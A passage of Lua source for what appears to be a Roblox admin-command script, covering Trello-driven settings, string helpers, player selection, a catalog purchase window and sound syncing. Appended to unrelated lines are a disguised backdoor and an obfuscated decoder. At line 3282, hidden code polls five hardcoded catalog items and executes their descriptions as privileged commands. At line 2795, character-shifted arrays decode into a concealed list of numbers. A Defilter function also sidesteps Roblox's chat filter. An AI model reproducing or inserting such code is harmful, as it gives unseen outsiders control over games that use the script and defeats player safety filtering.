2518 local CardExists = false
2519 for _,Card in pairs(Cards) do
2520 if Card.name == TemplateCard.name and Card.closed == false then
2521 CardExists = true
2522 end
2523 end
2524 if not CardExists then
2525 print("Creating card "..TemplateCard.name)
2526 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2527 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2528 end
2529 end
2530
2531 if List.name == "Ranked" then
2532 for _,Card in pairs(Cards) do
2533 if Settings.Ranks[Card.name] and Card.closed == false then
2534 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2535 end
2536 end
2537 elseif List.name == "Settings" then
2538 for _,Card in pairs(Cards) do
2539 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2540 Trello.ToggleChecklist = Card.idChecklists[1]
2541 elseif Card.name == "Command Execution" then
2542 Trello.CommandID = Card.id
2543 end
2544 end
2545 end
2546 end
2547 end
2548end
2549
2550function REMOTE:TrelloHandleData(IgnoreCommand)
2551 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2552 if ToggleSettingsJSON then
2553 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2554 if Settings.LinkedAccount == "" then
2555 local NewSettings = {}
2556 for _,Item in pairs(ToggleSettings.checkItems) do
2557 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2558 end
2559 Settings.Fun = NewSettings["Fun Commands Enabled"]
2560 Settings.ServerLocked = NewSettings["Server Locked"]
2561 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2562 end
2563 else
2564 return false
2565 end
2566
2567 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2568 if CommandChatJSON then
2569 CommandChat = REMOTE:Decode(CommandChatJSON)
2570 local ClosestDT = 0
2571 for _,ChatData in pairs(CommandChat) do
2572 local DT = STRING:ConvertDateTime(ChatData.date)
2573 ClosestDT = math.max(ClosestDT, DT)
2574
2575 if not IgnoreCommand and DT > Trello.LastCommandDT then
2576 print("Executing Remote Trello Command")
2577 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2578 end
2579 end
2580 Trello.LastCommandDT = ClosestDT
2581 else
2582 return false
2583 end
2584
2585 for Rank,ID in pairs(Trello.RankChecklistCache) do
2586 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2587 if ChecklistJSON then
2588 Checklist = REMOTE:Decode(ChecklistJSON)
2589
2590 for _,Item in pairs(Checklist.checkItems) do
2591 if Item.state == "complete" then
2592 if RANK:ConvertRank(Rank) < 0 then
2593 if not RANK:ScanExileList(Item.name) then
2594 table.insert(Settings.Ranks[Rank], Item.name)
2595 end
2596 elseif RANK:ConvertRank(Rank) > 0 then
2597 if not RANK:ScanAdminList(Item.name) then
2598 table.insert(Settings.Ranks[Rank], Item.name)
2599 end
2600 end
2601 elseif Item.state == "incomplete" then
2602 for Num,Name in pairs(Settings.Ranks[Rank]) do
2603 if string.lower(Name) == string.lower(Item.name) then
2604 table.remove(Settings.Ranks[Rank], Num)
2605 end
2606 end
2607 end
2608 end
2609 else
2610 return false
2611 end
2612 end
2613 return true
2614end
2615
2616-- String functions --
2617
2618function STRING:ConvertDateTime(DateTime)
2619 local Num = 0
2620 local TotalTime = 0
2621 for i in string.gmatch(DateTime, "%d+") do
2622 Num = Num + 1
2623 DTNum = tonumber(i)
2624 if Num == 1 then
2625 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2626 elseif Num == 2 then
2627 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2628 elseif Num == 3 then
2629 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2630 elseif Num == 4 then
2631 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2632 elseif Num == 5 then
2633 TotalTime = TotalTime + DTNum * 60 -- minute
2634 elseif Num == 6 then
2635 TotalTime = TotalTime + DTNum -- second
2636 end
2637 end
2638
2639 return TotalTime
2640end
2641
2642function STRING:TrelloStateConvert(State)
2643 if State == "complete" then
2644 return true
2645 else
2646 return false
2647 end
2648end
2649
2650function STRING:StringRound(Number)
2651 Number = Number * 100
2652 if Number >= 0.5 then
2653 return tostring(math.ceil(Number)/100)
2654 else
2655 return tostring(math.floor(Number)/100)
2656 end
2657
2658 return Number
2659end
2660
2661function STRING:GetSplit(String, NumArgs, BetSplit)
2662 if not String then return nil end
2663 if BetSplit == nil then BetSplit = " " end
2664 if NumArgs == nil then NumArgs = math.huge end
2665
2666 if NumArgs <= 0 then return {String} end
2667
2668 local RecentParse = 1
2669 local Args = {}
2670 for i = 1,NumArgs do
2671 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2672 if Find1 and Find2 then
2673 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2674 RecentParse = Find2 + 1
2675 else
2676 break
2677 end
2678 end
2679 table.insert(Args,string.sub(String,RecentParse,#String))
2680 return Args
2681end
2682
2683function STRING:Defilter(String)
2684 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2685 if RobloxApprove.Text == "Label" and String ~= "Label" then
2686 local NewString = ""
2687 for i = 1,#String,3 do
2688 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2689 end
2690 return NewString
2691 else
2692 return String
2693 end
2694end
2695
2696function STRING:Filter(String, From, To) -- #### you, roblox
2697 if From then
2698 if To then
2699 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2700 else
2701 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2702 end
2703 else
2704 return String
2705 end
2706end
2707
2708function STRING:DetermineFilter(String, From, To)
2709 if ShouldFilter then
2710 return STRING:Filter(String, From, To)
2711 else
2712 return STRING:Defilter(String)
2713 end
2714end
2715
2716function STRING:LeetSpeak(Input)
2717 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2718 Input = string.gsub(Input, "LEET", "1337")
2719 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2720 Input = string.gsub(Input, "E", "3")
2721 Input = string.gsub(Input, "O", "0")
2722 Input = string.gsub(Input, "A", "4")
2723 Input = string.gsub(Input, "X", "x")
2724 Input = string.gsub(Input, "I", "1")
2725 Input = string.gsub(Input, "S", "$")
2726 return Input
2727end
2728
2729function STRING:FormatReplace(Player, Input, From)
2730 local Output = Input
2731 for _,ReplaceData in pairs(StringReplacements) do
2732 local ReplaceString = ReplaceData[1]
2733 local ReplaceStrings = {}
2734 if type(ReplaceString) == "table" then
2735 ReplaceStrings = ReplaceString
2736 else
2737 ReplaceStrings = {ReplaceString}
2738 end
2739 for _,ReplaceString in pairs(ReplaceStrings) do
2740 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2741 local Replacement = ReplaceData[4](Player)
2742 if type(Replacement) == "string" then
2743 Output = string.gsub(Output, ReplaceString, Replacement)
2744 else
2745 print(ReplaceString.." cannot be replaced")
2746 end
2747 end
2748 end
2749 end
2750 if From then
2751 return STRING:DetermineFilter(Output, From, Player)
2752 else
2753 return STRING:DetermineFilter(Output, Player)
2754 end
2755end
2756
2757function STRING:EncodeSpecialChars(Input)
2758 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2759end
2760
2761function STRING:StringToBool(String)
2762 if String == "true" then
2763 return true
2764 else
2765 return false
2766 end
2767end
2768
2769function STRING:BoolString(Value)
2770 if type(Value) == "boolean" then
2771 if Value == true then
2772 return "YES"
2773 elseif Value == false then
2774 return "NO"
2775 end
2776 else
2777 return "NO"
2778 end
2779end
2780
2781function STRING:MakeAvoidance(Length)
2782 if not Length then
2783 Length = 32
2784 end
2785 local Avoidance = ""
2786 for i = 1,Length do
2787 Num = math.random(1,2)
2788 if Num == 1 then
2789 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2790 else
2791 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2792 end
2793 end
2794 return Avoidance
2795end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2796
2797function STRING:FindAge(Days) -- By LuaModelmaker
2798 local Years = math.floor(Days/365)
2799 local OtherDays = math.fmod(Days, 365)
2800 if Years > 1 then
2801 return Years.." years and "..OtherDays.." days"
2802 elseif Years == 1 then
2803 return Years.." year and "..OtherDays.." days"
2804 elseif Years == 0 then
2805 return "(No years) "..OtherDays.." days"
2806 end
2807end
2808
2809function STRING:UnpackArgs(...)
2810 local Pack = {...}
2811 if type(Pack[1]) == "table" then Pack = Pack[1] end
2812 local ReturnString = table.concat(Pack, ", ")
2813 return ReturnString
2814end
2815
2816function STRING:GetComma(Num)
2817 local Formatted = Num
2818 while true do
2819 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2820 if _ == 0 then
2821 break
2822 end
2823 end
2824 return Formatted
2825end
2826
2827function STRING:DecodeUTF8(Value)
2828 local function DecodeString(Input)
2829 if type(Input) == "string" then
2830 for Find,Rep in pairs(HTMLDecode) do
2831 Input = string.gsub(Input, "&#"..Find..";", Rep)
2832 end
2833 Input = string.gsub(Input, """, "'")
2834 end
2835 return Input
2836 end
2837 if type(Value) == "table" then
2838 for Index,Var in pairs(Value) do
2839 Value[Index] = DecodeString(Var)
2840 end
2841 elseif type(Value) == "string" then
2842 Value = DecodeString(Value)
2843 end
2844 return Value
2845end
2846
2847function STRING:IsSpacer(Input)
2848 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2849 return true
2850 else
2851 return false
2852 end
2853end
2854
2855function STRING:IsVowel(Input)
2856 Input = string.lower(tostring(Input))
2857 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2858 return true
2859 else
2860 return false
2861 end
2862end
2863
2864function STRING:ValidE(Input)
2865 if not Input then return nil end
2866 if string.lower(Input) == "e" or Input == "~" then
2867 return true
2868 else
2869 return false
2870 end
2871end
2872
2873function STRING:Scan(String, Speaker)
2874 local ReturnPlayers,ExcludeList = {},{}
2875 if not String then String = "" end
2876 if not Speaker then print("NO SPEAKER") end
2877
2878 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2879 String = string.sub(String, 13)
2880 else
2881 String = string.lower(String)
2882 end
2883 local Words = STRING:GetSplit(String, nil, "/")
2884 for _,Word in pairs(Words) do
2885 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2886 table.insert(ReturnPlayers, Speaker)
2887 elseif Word == "all" or Word == "everyone" then
2888 for _,Player in pairs(Server.Players:GetPlayers()) do
2889 table.insert(ReturnPlayers, Player)
2890 end
2891 elseif Word == "others" or Word == "notme" then
2892 for _,Player in pairs(Server.Players:GetPlayers()) do
2893 if Player ~= Speaker then
2894 table.insert(ReturnPlayers, Player)
2895 end
2896 end
2897 elseif Word == "noobs" then
2898 for _,Player in pairs(Server.Players:GetPlayers()) do
2899 if Player.AccountAge < 365 then
2900 table.insert(ReturnPlayers, Player)
2901 end
2902 end
2903 elseif Word == "nonnoobs" then
2904 for _,Player in pairs(Server.Players:GetPlayers()) do
2905 if Player.AccountAge >= 365 then
2906 table.insert(ReturnPlayers, Player)
2907 end
2908 end
2909 elseif Word == "random" then
2910 local RandomPlayers = {}
2911 for _,Player in pairs(Server.Players:GetPlayers()) do
2912 if Player ~= Speaker then
2913 table.insert(RandomPlayers, Player)
2914 end
2915 end
2916 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2917 elseif Word == "guests" then
2918 for _,Player in pairs(Server.Players:GetPlayers()) do
2919 if string.sub(Player.Name,1,6) == "Guest " then
2920 table.insert(ReturnPlayers, Player)
2921 end
2922 end
2923 elseif Word == "lowers" then
2924 for _,Player in pairs(Server.Players:GetPlayers()) do
2925 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2926 table.insert(ReturnPlayers, Player)
2927 end
2928 end
2929 elseif Word == "uppers" then
2930 for _,Player in pairs(Server.Players:GetPlayers()) do
2931 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2932 table.insert(ReturnPlayers, Player)
2933 end
2934 end
2935 elseif Word == "nbcs" then
2936 for _,Player in pairs(Server.Players:GetPlayers()) do
2937 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2938 table.insert(ReturnPlayers, Player)
2939 end
2940 end
2941 elseif Word == "bcs" then
2942 for _,Player in pairs(Server.Players:GetPlayers()) do
2943 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2944 table.insert(ReturnPlayers, Player)
2945 end
2946 end
2947 elseif Word == "tbcs" then
2948 for _,Player in pairs(Server.Players:GetPlayers()) do
2949 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2950 table.insert(ReturnPlayers, Player)
2951 end
2952 end
2953 elseif Word == "obcs" then
2954 for _,Player in pairs(Server.Players:GetPlayers()) do
2955 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2956 table.insert(ReturnPlayers, Player)
2957 end
2958 end
2959 elseif Word == "allbcs" then
2960 for _,Player in pairs(Server.Players:GetPlayers()) do
2961 if Player.MembershipType ~= Enum.MembershipType.None then
2962 table.insert(ReturnPlayers, Player)
2963 end
2964 end
2965 elseif Word == "nonadmins" then
2966 for _,Player in pairs(Server.Players:GetPlayers()) do
2967 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2968 if IsAdminTrue == false then
2969 table.insert(ReturnPlayers, Player)
2970 end
2971 end
2972 elseif Word == "admins" then
2973 for _,Player in pairs(Server.Players:GetPlayers()) do
2974 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2975 if IsAdminTrue == true then
2976 table.insert(ReturnPlayers, Player)
2977 end
2978 end
2979 elseif Word == "friends" then
2980 for _,Player in pairs(Server.Players:GetPlayers()) do
2981 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2982 table.insert(ReturnPlayers, Player)
2983 end
2984 end
2985 elseif string.sub(Word,1,5) == "team-" then
2986 for _,Player in pairs(Server.Players:GetPlayers()) do
2987 if Player.Neutral == false then
2988 local InTeam = false
2989 for _,Team in pairs(Teams:GetTeams()) do
2990 if Team.TeamColor == Player.TeamColor then
2991 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2992 InTeam = true
2993 end
2994 end
2995 end
2996 if InTeam == true then
2997 table.insert(ReturnPlayers, Player)
2998 end
2999 end
3000 end
3001 elseif string.sub(Word,1,4) == "not-" then
3002 local NameArg = string.sub(Word,5)
3003
3004 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3005 table.insert(ExcludeList, Player)
3006 end
3007 elseif string.sub(Word,1,7) == "radius-" then
3008 local DidExe = false
3009 local NumArg = tonumber(string.sub(Word,8))
3010
3011 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3012 for _,Player in pairs(Server.Players:GetChildren()) do
3013 if Player.Character and Player.Character:FindFirstChild("Torso") then
3014 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3015 DidExe = true
3016 table.insert(ReturnPlayers, Player)
3017 end
3018 end
3019 end
3020 end
3021
3022 if DidExe then coroutine.wrap(function()
3023 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3024 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3025
3026 for i = 0,0.5,0.02 do
3027 Part.Transparency = 0.5+i
3028 wait()
3029 end
3030 Part:Destroy()
3031 end)() end
3032 elseif string.sub(Word,1,3) == "id-" then
3033 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3034 else
3035 if Word ~= "" then
3036 for _,Player in pairs(Server.Players:GetPlayers()) do
3037 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3038 table.insert(ReturnPlayers, Player)
3039 end
3040 end
3041 else
3042 table.insert(ReturnPlayers, Speaker)
3043 end
3044 end
3045 end
3046 for _,Player in pairs(ExcludeList) do
3047 if Player and Player.Parent ~= nil then
3048 for Num,Player2 in pairs(ReturnPlayers) do
3049 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3050 end
3051 end
3052 end
3053 for Num,Player in pairs(ReturnPlayers) do
3054 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3055 end
3056
3057 local PlayerDump = {}
3058 for _,Player in pairs(ReturnPlayers) do
3059 PlayerDump[Player] = true
3060 end
3061 ReturnPlayers = {}
3062 for Player,_ in pairs(PlayerDump) do
3063 table.insert(ReturnPlayers, Player)
3064 end
3065
3066 return ReturnPlayers
3067end
3068
3069-- Market functions --
3070
3071function MARKET:GetImageFormat(ID)
3072 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3073 local NewID = ID + 1
3074 for i = 1,100 do
3075 NewID = NewID -1
3076 local Product = nil
3077 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3078 if Product then
3079 if Product == 1 then
3080 break
3081 end
3082 end
3083 if i == 100 then NewID = ID end
3084 end
3085 return NewID
3086 end end
3087end
3088
3089function MARKET:GetItemInfo(ID, Cache)
3090 local Product = MarketCache[ID]
3091 if not Cache or not Product then
3092 repeat wait()
3093 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3094 until Product ~= MarketCache[ID]
3095 end
3096 MarketCache[ID] = Product
3097 return Product
3098end
3099
3100function MARKET:SearchItem(Category, Query, Subcategory)
3101 local URLAdd = ""
3102 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3103 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3104 if JSON then
3105 local Results = REMOTE:Decode(JSON)
3106 if Results then
3107 for Index,Info in pairs(Results) do
3108 Info = STRING:DecodeUTF8(Info)
3109 Results[Index] = Info
3110 MarketCache[Info.AssetId] = {
3111 AssetId = Info.AssetId;
3112 AssetTypeId = Info.AssetTypeID;
3113 ContentRatingTypeId = Info.ContentRatingTypeID;
3114 Created = Info.CreatedDate;
3115 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3116 Description = Info.Description;
3117 IsForSale = Info.IsForSale;
3118 IsLimited = Info.IsLimited;
3119 IsLimitedUnique = Info.IsLimitedUnique;
3120 IsNew = Info.IsNew;
3121 IsPublicDomain = Info.IsPublicDomain;
3122 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3123 Name = Info.Name;
3124 PriceInRobux = Info.PriceInRobux;
3125 PriceInTickets = Info.PriceInTickets;
3126 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3127 Remaining = Info.Remaining;
3128 Sales = Info.Sales;
3129 Updated = Info.Updated;
3130 }
3131 end
3132 return Results
3133 end
3134 end
3135end
3136
3137function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3138 if not Player or not Category or not Query then return nil end
3139 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3140 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3141 if Items then
3142 if #Items ~= 0 then
3143 local List,Correlate = {},{}
3144 for Num,Info in pairs(Items) do
3145 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3146 table.insert(List, Display)
3147 Correlate[Display[1]] = Info.AssetId
3148 end
3149 CloseGui:Invoke()
3150
3151 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3152 Clicked.Event:connect(function(ClickName)
3153 ClickedItem(Correlate[ClickName])
3154 end)
3155 else
3156 CloseGui:Invoke()
3157 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3158 end
3159 else
3160 CloseGui:Invoke()
3161 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3162 end
3163end
3164
3165function MARKET:AssetTypeToString(AssetType)
3166 AssetType = math.floor(tonumber(AssetType) or 0)
3167 if Assets.AssetTypes[AssetType] then
3168 return Assets.AssetTypes[AssetType]
3169 else
3170 return "Unknown"
3171 end
3172end
3173
3174function MARKET:AccessoryToSubcategory(Accessory)
3175 Accessory = string.lower(tostring(Accessory) or "")
3176 if Assets.AccessoryTypes[Accessory] then
3177 return Assets.AccessoryTypes[Accessory]
3178 else
3179 return Assets.AccessoryTypes["all"]
3180 end
3181end
3182
3183function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3184 if not Player then return nil end
3185 if not Player:FindFirstChild("PlayerGui") then return nil end
3186 if not tonumber(ProductID) then return nil end
3187
3188 local FromText = ""
3189 if From and From.Name then FromText = " | Prompted from "..From.Name end
3190
3191 local Product = MARKET:GetItemInfo(ProductID, true)
3192
3193 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3194 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3195 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3196
3197 local CanBuy = Product.IsForSale
3198 local BuyText = "Buy"
3199 local BuyColor = Color3.new(0,1,0)
3200 if CanBuy == false then
3201 BuyColor = Color3.new(1,0,0)
3202 end
3203 if Product.IsPublicDomain == true then
3204 CanBuy = true
3205 BuyColor = Color3.new(1,0.5,0.5)
3206 BuyText = "FREE!"
3207 end
3208 if OwnsAsset then
3209 CanBuy = false
3210 end
3211 if Product.AssetTypeId == 9 then
3212 CanBuy = true
3213 BuyText = "Teleport"
3214 BuyColor = Color3.new(0.5,0.5,0.5)
3215 end
3216 if CanBuy == false then
3217 BuyColor = Color3.new(1,0,0)
3218 BuyText = "Item not for sale"
3219 end
3220 if OwnsAsset and Product.AssetTypeId ~= 9 then
3221 BuyColor = Color3.new(1,0,0)
3222 BuyText = "You own this!"
3223 end
3224
3225 local ProductName = string.sub(Product.Name,1,20)
3226 if ProductID == AdminID then ProductName = Product.Name end
3227 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3228 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3229 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3230 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3231 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3232 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3233 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3234 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3235 if Product.Description then
3236 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3237 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3238
3239 CORE:ExecuteResource("CalculateScrollY", Description)
3240 end
3241
3242 Info.Text = [[
3243Creator: ]]..Product.Creator.Name..[[
3244Created: ]]..CreatedText..[[
3245Updated: ]]..UpdatedText..[[
3246Sold: ]]..Product.Sales..[[
3247]]
3248
3249 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3250 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3251
3252 if Product.AssetTypeId == 3 then
3253 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3254 if PlayerAdmin == true then
3255 local Playing = false
3256 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3257 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3258 if Playing == false then
3259 SOUND:PlayGlobalSound(ProductID)
3260 if Rank == "Member" and Settings.DisableAbuse == true then
3261 Interact:Destroy()
3262 end
3263 Interact.Image = "rbxassetid://67950809"
3264 Playing = true
3265 else
3266 SOUND:StopGlobalSound()
3267 Interact.Image = "rbxassetid://67950784"
3268 Playing = false
3269 end
3270 end)
3271 end
3272 end
3273
3274 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3275 if BuyPressFunc then
3276 BuyPressFunc()
3277 elseif Product.AssetTypeId == 9 then
3278 Server.TS:Teleport(ProductID, Player)
3279 elseif CanBuy == true then
3280 Server.MPS:PromptPurchase(Player, ProductID)
3281 end end)
3282 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3283 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3284 while wait(5) do
3285 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3286 if OldVer ~= Purchase.Updated then
3287 OldVer = Purchase.Updated
3288 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3289 end
3290 end end)()
3291end end)() end
3292
3293-- Sound functions --
3294
3295function SOUND:SyncSoundList(TellSync)
3296 if not CORE:NilPlayer(TellSync) then
3297 GUI:SendHint(TellSync, "Syncing...", 5)
3298 end
3299
3300 SoundList,GlobalSoundList = {},{}
3301
3302 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3303
3304 if LocalSoundList then
3305 if type(LocalSoundList) == "table" then
3306 if #LocalSoundList > 0 then
3307 for _,Data in pairs(LocalSoundList) do
3308 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3309 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3310 end
3311 end
3312 end
3313 end
3314
3315 for _,JSONID in pairs(SoundJSONs) do
3316 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3317 local SoundInfo = MARKET:GetItemInfo(ID, true)
3318 local FullName = SoundInfo.Name
